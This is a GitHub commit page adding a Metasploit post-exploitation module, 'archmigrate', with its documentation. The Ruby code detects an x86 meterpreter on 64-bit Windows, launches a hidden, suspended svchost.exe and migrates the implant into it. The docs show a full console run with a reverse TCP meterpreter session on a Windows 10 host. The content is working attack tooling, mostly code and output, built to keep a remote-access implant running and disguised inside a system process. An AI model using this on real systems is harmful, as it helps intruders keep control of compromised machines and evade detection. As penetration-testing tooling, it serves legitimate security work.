Skip to content

Commit dd5a91f

Browse files
committed
Land rapid7#8008, Added archmigrate module for windows sessions
2 parents 4e79aac + 08b2a97 commit dd5a91f

File tree

2 files changed

+164
-0
lines changed

2 files changed

+164
-0
lines changed
Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
## Creating A Testing Environment
2+
To use this module you need an x86 executable type meterpreter on a x64 windows machine.
3+
4+
This module has been tested against:
5+
6+
1. Windows 10.
7+
2. Windows 7.
8+
3. Windows Server 2008R2
9+
10+
This module was not tested against, but may work against:
11+
12+
1. Other versions of Windows that are x64.
13+
14+
## Verification Steps
15+
16+
1. Start msfconsole
17+
2. Obatin a meterpreter session with an executable meterpreter via whatever method
18+
3. Do: 'use post/windows/manage/archmigrate'
19+
4. Do: 'set session #'
20+
5. Do: 'run'
21+
22+
## Scenarios
23+
24+
### Windows 10 x64
25+
26+
msf exploit(handler) > run
27+
28+
[*] Started reverse TCP handler on <MSF_IP>:4567
29+
[*] Starting the payload handler...
30+
[*] Sending stage (957487 bytes) to <Win10x64_IP>
31+
[*] Meterpreter session 1 opened (<MSF_IP>:4567 -> <Win10x64_IP>:50917) at 2017-03-22 11:43:42 -0500
32+
33+
meterpreter > sysinfo
34+
Computer : DESKTOP-SO4MCA3
35+
OS : Windows 10 (Build 14393).
36+
Architecture : x64
37+
System Language : en_US
38+
Domain : WORKGROUP
39+
Logged On Users : 2
40+
Meterpreter : x86/windows
41+
meterpreter > background
42+
[*] Backgrounding session 1...
43+
msf exploit(handler) > use post/windows/manage/archmigrate
44+
msf post(archmigrate) > set session 1
45+
session => 1
46+
msf post(archmigrate) > run
47+
48+
[*] The meterpreter is not the same architecture as the OS! Upgrading!
49+
[*] Starting new x64 process C:\windows\sysnative\svchost.exe
50+
[+] Got pid 1772
51+
[*] Migrating..
52+
[+] Success!
53+
[*] Post module execution completed
54+
msf post(archmigrate) > sessions -l
55+
56+
Active sessions
57+
===============
58+
59+
Id Type Information Connection
60+
-- ---- ----------- ----------
61+
1 meterpreter x64/windows DESKTOP-SO4MCA3\tmoose @ DESKTOP-SO4MCA3 <MSF_IP>:4567 -> <Win10x64_IP>:50917 (<Win10x64_IP>)
62+
63+
msf post(archmigrate) > sessions -i 1
64+
[*] Starting interaction with 1...
65+
66+
meterpreter > sysinfo
67+
Computer : DESKTOP-SO4MCA3
68+
OS : Windows 10 (Build 14393).
69+
Architecture : x64
70+
System Language : en_US
71+
Domain : WORKGROUP
72+
Logged On Users : 2
73+
Meterpreter : x64/windows
Lines changed: 91 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,91 @@
1+
require 'msf/core'
2+
3+
class MetasploitModule < Msf::Post
4+
include Msf::Post::Windows::Registry
5+
include Msf::Post::File
6+
include Msf::Post::Common
7+
8+
def initialize(info = {})
9+
super(update_info(
10+
info,
11+
'Name' => 'Architecture Migrate',
12+
'Description' => %q(This module checks if the meterpreter architecture is the same as the OS architecture and if it's incompatible it spawns a
13+
new process with the correct architecture and migrates into that process.),
14+
'License' => MSF_LICENSE,
15+
'Author' => ['Koen Riepe ([email protected])'],
16+
'References' => [''],
17+
'Platform' => [ 'win' ],
18+
'Arch' => [ 'x86', 'x64' ],
19+
'SessionTypes' => [ 'meterpreter' ]
20+
)
21+
)
22+
23+
register_options(
24+
[
25+
OptString.new('EXE', [true, 'The executable to start and migrate into', 'C:\windows\sysnative\svchost.exe']),
26+
OptBool.new('FALLBACK', [ true, 'If the selected migration executable does not exist fallback to a sysnative file', true ])
27+
],
28+
self.class
29+
)
30+
end
31+
32+
def check_32_on_64
33+
begin
34+
apicall = session.railgun.kernel32.IsWow64Process(-1, 4)["Wow64Process"]
35+
# railgun returns '\x00\x00\x00\x00' if the meterpreter process is 64bits.
36+
if apicall == "\x00\x00\x00\x00"
37+
migrate = false
38+
else
39+
migrate = true
40+
end
41+
return migrate
42+
rescue
43+
print_error('Railgun not available, this module only works for binary meterpreters.')
44+
end
45+
end
46+
47+
def get_windows_loc
48+
apicall = session.railgun.kernel32.GetEnvironmentVariableA("Windir", 255, 255)["lpBuffer"]
49+
windir = apicall.split(":")[0]
50+
return windir
51+
end
52+
53+
def run
54+
if check_32_on_64
55+
print_status('The meterpreter is not the same architecture as the OS! Upgrading!')
56+
newproc = datastore['EXE']
57+
if exist?(newproc)
58+
print_status("Starting new x64 process #{newproc}")
59+
pid = session.sys.process.execute(newproc, nil, { 'Hidden' => true, 'Suspended' => true }).pid
60+
print_good("Got pid #{pid}")
61+
print_status('Migrating..')
62+
session.core.migrate(pid)
63+
if pid == session.sys.process.getpid
64+
print_good('Success!')
65+
else
66+
print_error('Migration failed!')
67+
end
68+
else
69+
print_error('The selected executable to migrate into does not exist')
70+
if datastore['FALLBACK']
71+
windir = get_windows_loc
72+
newproc = "#{windir}:\\windows\\sysnative\\svchost.exe"
73+
if exist?(newproc)
74+
print_status("Starting new x64 process #{newproc}")
75+
pid = session.sys.process.execute(newproc, nil, { 'Hidden' => true, 'Suspended' => true }).pid
76+
print_good("Got pid #{pid}")
77+
print_status('Migrating..')
78+
session.core.migrate(pid)
79+
if pid == session.sys.process.getpid
80+
print_good('Success!')
81+
else
82+
print_error('Migration failed!')
83+
end
84+
end
85+
end
86+
end
87+
else
88+
print_good('The meterpreter is the same architecture as the OS!')
89+
end
90+
end
91+
end

0 commit comments

Comments
 (0)